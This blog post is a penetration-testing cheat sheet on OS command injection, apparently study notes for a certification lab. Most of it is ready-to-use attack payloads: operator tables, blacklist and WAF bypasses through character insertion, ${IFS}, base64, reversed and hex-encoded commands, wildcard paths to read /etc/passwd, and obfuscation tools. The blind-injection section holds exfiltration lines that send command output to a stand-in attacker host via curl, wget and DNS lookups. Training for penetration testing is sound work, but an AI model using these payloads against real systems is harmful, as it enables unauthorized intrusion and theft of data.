Post

CWES Cheatsheet — Command Injection

CWES Cheatsheet — Command Injection

command injection lets you run OS commands through a vulnerable application. it comes down to understanding how filters work, and how to get around them.


common types of injections

InjectionDescription
OS Command Injectionoccurs when user input is directly used as part of an OS command
Code Injectionoccurs when user input is directly within a function that evaluates code
SQL Injectionsoccurs when user input is directly used as part of an SQL query
Cross-Site Scripting/HTML Injectionoccurs when exact user input is displayed on a web page

there are many other types of injections:

  • LDAP injection
  • NoSQL Injection
  • HTTP Header Injection
  • XPath Injection
  • IMAP Injection
  • ORM Injection

common operators used for injections:

Injection TypeOperators
SQL Injection' , ; -- /* */
Command Injection; &&
LDAP Injection* ( ) & \|
XPath Injection' or and not substring concat count
OS Command Injection; & \|
Code Injection' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal../ ..\ %00
Object Injection; & \|
XQuery Injection' ; -- /* */
Shellcode Injection\x \u %u %n
Header Injection\n \r\n \t %0d %0a %09

vulnerable code examples

php example of executing a command directly on the back-end server:

1
2
3
4
5
<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

risky functions: exec, system, shell_exec, passthru, popen

javascript on nodejs example:

1
2
3
app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

risky functions: child_process.exec, child_process.spawn


bypassing front-end validation

intercept and modify the HTTP request before it reaches the server. use Burp Suite to catch the request and change parameter values after client-side validation runs.


command injection methods

php code blacklist characters

a basic character blacklist filter in php:

1
2
3
4
5
6
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
    if (strpos($_POST['ip'], $character) !== false) {
        echo "Invalid input";
    }
}

identify filters

if you try operators like ;, &&, || and get an invalid input error, it indicates the web application either detected a blacklisted character or detected a blacklisted command, or both.

if the error message displayed a different page with information like your IP and your request, this may indicate it was denied by a WAF.


injection command operators

to inject an additional command to the intended one, use any of the following operators:

(\n = %0a, & = %26, | = %7c)

Injection OperatorInjection CharacterURL-Encoded CharacterExecuted Command
Semicolon;%3bBoth
New Line\n%0aBoth
Background&%26Both (second output generally shown first)
Pipe\|%7cBoth (only second output is shown)
AND&&%26%26Both (only if first succeeds)
OR\|\|%7c%7cSecond (only if first fails)
Sub-Shell` `%60%60Both (Linux-only)
Sub-Shell$()%24%28%29Both (Linux-only)

if you are injecting in a PHP web application running on a Linux server, or a .Net application running on a Windows back-end server, or a NodeJS application running on a macOS back-end server, your injections should work regardless.

the only exception may be the semi-colon ;, which will not work if the command was being executed with Windows Command Line (CMD), but would still work if it was being executed with Windows PowerShell.


bypass blacklist command

a basic command blacklist filter in php:

1
2
3
4
5
6
$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
    if (strpos('$_POST['ip']', $word) !== false) {
        echo "Invalid input";
    }
}

obfuscated commands

list of commands obfuscated as wordlist to test possible WAF filter bypass:

1
2
3
4
5
6
7
8
9
uname
u'n'a'm'e
${uname}
$(uname)
{uname}
$(rev<<<'emanu')
bash<<<$(base64 -d<<<dW5hbWUgLWE=)
b'a's'h'<<<$('b'a's'e'6'4 -d<<<dW5hbWUgLWE=)
l's'${IFS}${PATH:0:1}${IFS}-a'l'

linux only

1
2
3
4
5
\
$@

who$@ami
w\ho\am\i

linux

filtered character bypass

bypass without space

CodeDescription
printenvcan be used to view all environment variables
Spaces 
%09using tabs instead of spaces
${IFS}will be replaced with a space and a tab. cannot be used in sub-shells (i.e. $())
{ls,-la}commas will be replaced with spaces
$IFS$9$9 is empty, acts as separator so $IFS is parsed correctly
<input redirection can replace space (e.g. cat</etc/passwd)
%20URL-encoded space
+plus sign (works in URL/web contexts)
Other Characters 
${PATH:0:1}will be replaced with forward slash /
${LS_COLORS:10:1}will be replaced with ;
echo $(tr '!-}' '"-~'<<<[)shift character by one to produce back slash ([ -> \)
echo $(tr '!-}' '"-~'<<<:)character shifting by one to give a semicolon (: -> ;)
${HOME:0:1}will be replaced with / (alternative)
$(printf '\57')produces / from octal
$(printf '\073')produces ; from octal
${SHELLOPTS:3:1}produces : in Bash

bypassing space filters

  • encoded newline \n is URL encoded value = %0a
  • bypass blacklisted spaces: 127.0.0.1%0a whoami
  • using tabs: 127.0.0.1%0a%09
  • using $IFS: 127.0.0.1%0a${IFS}
  • using brace expansion: 127.0.0.1%0a{ls,-la}

linux command injection to list the contents of the /home folder on target and bypass the WAF filter:

1
127.0.0.1%0als${IFS}${PATH:0:1}home

blacklisted command bypass

CodeDescription
Character Insertion 
' or "total must be even
$@ or \linux only
w'h'o'am'isingle quotes (even number)
w"h"o"am"idouble quotes (even number)
who$@amiempty variable insertion
w\ho\am\ibackslash insertion
w${u}h${u}o${u}a${u}m${u}iuninitialized variable (expands to empty)
Case Manipulation 
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")execute command regardless of cases (Bash & Zsh)
$(a="WhOaMi";printf %s "${a,,}")another variation (Bash only)
a="WhOaMi"; ${a:l}Zsh equivalent (Zsh only)
Reversed Commands 
echo 'whoami' \| revreverse a string
$(rev<<<'imaohw')execute reversed command
Encoded Commands 
echo -n 'cat /etc/passwd \| grep 33'show the original command
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)execute b64 encoded string

we are using <<< to avoid using a pipe |, which is a filtered character.

bypass blacklist commands - examples

1
2
3
4
5
6
127.0.0.1%0a{c'a't,${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}

# example 2:
%3bc'a't${IFS}${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}flag.txt;

# interpretation: ;cat /../../../../flag.txt;

advanced command obfuscation

you can convert the string from utf-8 to utf-16 before base64 encoding:

1
2
3
4
echo -n whoami | iconv -f utf-8 -t utf-16le | base64
# output: dwBoAG8AYQBtAGkA

bash<<<$(base64 -d<<<dwBoAG8AYQBtAGkA)

hex encoding

1
2
3
4
echo whoami | xxd -p
# output: 77686f616d690a

$(xxd -r -p<<<77686f616d69)

octal encoding

1
2
$(printf '\167\150\157\141\155\151')
# executes: whoami

wildcard and glob bypass

1
2
3
4
5
6
# when exact command/path names are blocked, use ? and *
/???/??t /???/??????       # /bin/cat /etc/passwd
/???/??t /???/??ss??       # /bin/cat /etc/passwd
/bin/ca? /etc/passw?       # single char wildcard
/bin/c*t /etc/pas*         # multi char wildcard
echo /etc/pas*             # list matching files

file read alternatives (when cat is blocked)

CommandDescription
tacprint in reverse line order
less / morepager
head / tailfirst/last lines
nlnumber lines and print
sortsort and print
stringsextract printable strings
xxd / od -chex/octal dump
dd if=/etc/passwdcopy and print
cp /etc/passwd /dev/stdoutcopy to stdout
paste /etc/passwdsingle file = cat
diff /etc/passwd /dev/nullshows content in diff format
rev /etc/passwd \| revdouble reverse = original

directory listing alternatives (when ls is blocked)

CommandDescription
diralternative to ls
find .recursive listing
echo *glob expansion
printf '%s\n' *print each file

windows

filtered character bypass

CodeDescription
Get-ChildItem Env:can be used to view all environment variables (PowerShell)
Spaces 
%09using tabs instead of spaces
%PROGRAMFILES:~10,-5%will be replaced with a space (CMD)
$env:PROGRAMFILES[10]will be replaced with a space (PowerShell)
Other Characters 
%HOMEPATH:~0,-17%will be replaced with \ (CMD)
$env:HOMEPATH[0]will be replaced with \ (PowerShell)

blacklisted command bypass

CodeDescription
Character Insertion 
' or "total must be even
^windows only (CMD)
Case Manipulation 
WhoAmisimply send the character with odd cases
Reversed Commands 
"whoami"[-1..-20] -join ''reverse a string
iex "$('imaohw'[-1..-20] -join '')"execute reversed command
Encoded Commands 
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))encode a string with base64
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"execute b64 encoded string

in windows, using ~ to set starting character position in string and minus the length can produce slash character: echo %HOMEPATH:~6,-11%

windows only

1
2
who^ami
w'h'o'am'i

bypass WAF with double encoding

CodeDescription
%2527double encoded '
%253bdouble encoded ;
%250adouble encoded newline
%2524double encoded $

useful when WAF decodes once but the app decodes twice.


bashfuscator

linux bash automated obfuscation tool:

1
2
3
4
5
cd /home/kali/Downloads/htb/academy/command/Bashfuscator/bashfuscator/bin/

bashfuscator -h

./bashfuscator -c 'cat /etc/passwd'

the output from the bash obfuscator tool is eval "$(rev <<<'dwssap/cte/ tac')":

1
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

DOSfuscation

windows automated obfuscation tool:

1
2
3
4
5
6
7
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
encoding

reference: PayloadsAllTheThings


blind command injection (no output)

1
2
3
4
5
6
7
8
9
10
11
12
# time-based detection
127.0.0.1%0asleep${IFS}5

# OOB via curl/wget (if outbound allowed)
127.0.0.1%0acurl${IFS}http://YOUR_IP:PORT/$(whoami)
127.0.0.1%0awget${IFS}http://YOUR_IP:PORT/$(cat${IFS}/etc/hostname)

# DNS exfiltration
127.0.0.1%0anslookup${IFS}$(whoami).YOUR_DOMAIN

# write to webroot then browse to it
127.0.0.1%0awhoami${IFS}>${IFS}/var/www/html/out.txt

common injection points to test

LocationExample
URL parameters?ip=127.0.0.1;whoami
POST bodyip=127.0.0.1%0awhoami
HTTP HeadersX-Forwarded-For: ;whoami
User-AgentUser-Agent: ;whoami
Cookie valuescookie=;whoami
File namesupload file named test;whoami.png
JSON values{"ip":"127.0.0.1\nwhoami"}

OS command injection exercises

use what you learned in bypassing other blacklisted characters section to find name of the user in the /home folder:

1
ip=127.0.0.1%0al's'${IFS}-al${IFS}${PATH:0:1}home

use what you learned in bypassing blacklisted commands section to find the content of flag.txt in the home folder of the user you previously found:

1
ip=127.0.0.1%0ac'a't${IFS}${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

find the output of the following command using one of the techniques learned: find /usr/share/ | grep root | grep mysql | tail -n 1

base64 encode the find command:

1
echo -n 'find /usr/share/ | grep root | grep mysql | tail -n 1' | base64 -w 0;echo

command injection payload bypassing WAF:

1
ip=127.0.0.1%0a$(rev<<<'hsab')<<<$($(rev<<<'46esab')${IFS}-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)

quick payload escalation order

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1. basic operators
; whoami  |  | whoami  |  || whoami  |  & whoami  |  && whoami  |  `whoami`  |  $(whoami)

# 2. if all blocked -> newline
%0awhoami

# 3. if space blocked -> add IFS
%0a${IFS}whoami

# 4. if command blocked -> char insertion
%0a${IFS}w'h'o'am'i

# 5. if still blocked -> base64
%0abash<<<$(base64${IFS}-d<<<d2hvYW1p)

# 6. if bash blocked -> reverse it too
%0a$(rev<<<'hsab')<<<$($(rev<<<'46esab')${IFS}-d<<<d2hvYW1p)

# 7. if no output -> go blind (time or OOB)
%0asleep${IFS}5
%0acurl${IFS}http://YOUR_IP/$(whoami)

← Back to CWES Cheatsheet Index

This post is licensed under CC BY 4.0 by the author.